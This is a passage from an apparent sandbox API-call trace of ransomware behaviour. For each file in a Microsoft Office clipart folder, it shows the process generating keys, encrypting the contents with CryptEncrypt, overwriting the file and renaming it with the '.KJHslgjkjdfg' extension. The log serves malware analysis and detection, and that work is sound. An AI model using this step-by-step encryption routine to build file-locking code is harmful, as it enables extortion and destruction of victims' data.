(hKey=0x2f182c8) returned 1 [0215.793] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.793] SetEndOfFile (hFile=0x130) returned 1 [0215.794] GetProcessHeap () returned 0x2ef0000 [0215.794] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0215.794] GetProcessHeap () returned 0x2ef0000 [0215.795] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0215.795] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01123_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01123_.wmf.kjhslgjkjdfg")) returned 1 [0215.796] CloseHandle (hObject=0x130) returned 1 [0215.796] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23d3100, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe23d3100, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0xb70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01126_.WMF", cAlternateFileName="")) returned 1 [0215.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01126_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.797] GetProcessHeap () returned 0x2ef0000 [0215.798] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0215.798] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0215.798] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0215.798] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.798] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.798] GetProcessHeap () returned 0x2ef0000 [0215.798] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0215.798] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0215.798] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.798] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0215.807] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.807] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0215.807] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0215.807] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0215.807] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.808] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.808] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.808] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.808] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb70, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xb70, lpOverlapped=0x0) returned 1 [0215.808] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb70, dwBufLen=0xb70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb70) returned 1 [0215.808] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.808] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xb70, lpOverlapped=0x0) returned 1 [0215.808] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.808] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.808] SetEndOfFile (hFile=0x130) returned 1 [0215.811] GetProcessHeap () returned 0x2ef0000 [0215.811] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0215.811] GetProcessHeap () returned 0x2ef0000 [0215.811] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0215.811] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01126_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01126_.wmf.kjhslgjkjdfg")) returned 1 [0215.813] CloseHandle (hObject=0x130) returned 1 [0215.813] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94292d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94292d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x16a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01130_.WMF", cAlternateFileName="")) returned 1 [0215.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.814] GetProcessHeap () returned 0x2ef0000 [0215.814] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0215.815] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0215.815] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0215.815] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.815] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.815] GetProcessHeap () returned 0x2ef0000 [0215.815] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0215.815] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0215.815] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.815] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0215.839] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.839] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0215.839] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0215.840] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0215.840] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.840] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.840] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.840] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.840] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x16a0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x16a0, lpOverlapped=0x0) returned 1 [0215.841] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16a0, dwBufLen=0x16a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16a0) returned 1 [0215.841] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.841] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x16a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x16a0, lpOverlapped=0x0) returned 1 [0215.842] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.842] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.842] SetEndOfFile (hFile=0x130) returned 1 [0215.844] GetProcessHeap () returned 0x2ef0000 [0215.844] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0215.844] GetProcessHeap () returned 0x2ef0000 [0215.845] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0215.845] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01130_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01130_.wmf.kjhslgjkjdfg")) returned 1 [0215.846] CloseHandle (hObject=0x130) returned 1 [0215.846] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22e1e00, ftCreationTime.dwHighDateTime=0x1bd4afd, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22e1e00, ftLastWriteTime.dwHighDateTime=0x1bd4afd, nFileSizeHigh=0x0, nFileSizeLow=0x16d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01141_.WMF", cAlternateFileName="")) returned 1 [0215.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.847] GetProcessHeap () returned 0x2ef0000 [0215.848] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0215.848] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0215.848] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0215.848] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.850] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.850] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.850] GetProcessHeap () returned 0x2ef0000 [0215.850] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0215.850] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0215.850] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.850] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0215.850] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.850] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0215.851] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0215.851] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0215.851] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.851] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.851] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.851] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.851] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x16d8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x16d8, lpOverlapped=0x0) returned 1 [0215.852] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16e0, dwBufLen=0x16e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16e0) returned 1 [0215.852] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.852] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x16e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x16e0, lpOverlapped=0x0) returned 1 [0215.852] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.852] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.852] SetEndOfFile (hFile=0x130) returned 1 [0215.855] GetProcessHeap () returned 0x2ef0000 [0215.855] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0215.855] GetProcessHeap () returned 0x2ef0000 [0215.855] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0215.855] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01141_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01141_.wmf.kjhslgjkjdfg")) returned 1 [0215.857] CloseHandle (hObject=0x130) returned 1 [0215.857] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc383d00, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc383d00, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x1f38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01148_.WMF", cAlternateFileName="")) returned 1 [0215.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.858] GetProcessHeap () returned 0x2ef0000 [0215.858] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0215.858] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0215.858] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0215.858] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.860] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.860] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.860] GetProcessHeap () returned 0x2ef0000 [0215.860] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0215.860] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0215.860] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.860] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0215.860] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.860] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0215.861] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0215.861] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0215.861] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.861] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.861] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.861] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.861] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1f38, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1f38, lpOverlapped=0x0) returned 1 [0215.862] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f40, dwBufLen=0x1f40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f40) returned 1 [0215.862] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.862] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1f40, lpOverlapped=0x0) returned 1 [0215.862] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.862] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.862] SetEndOfFile (hFile=0x130) returned 1 [0215.865] GetProcessHeap () returned 0x2ef0000 [0215.865] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0215.865] GetProcessHeap () returned 0x2ef0000 [0215.865] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0215.865] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01148_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01148_.wmf.kjhslgjkjdfg")) returned 1 [0215.867] CloseHandle (hObject=0x130) returned 1 [0215.867] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1248, dwReserved0=0x0, 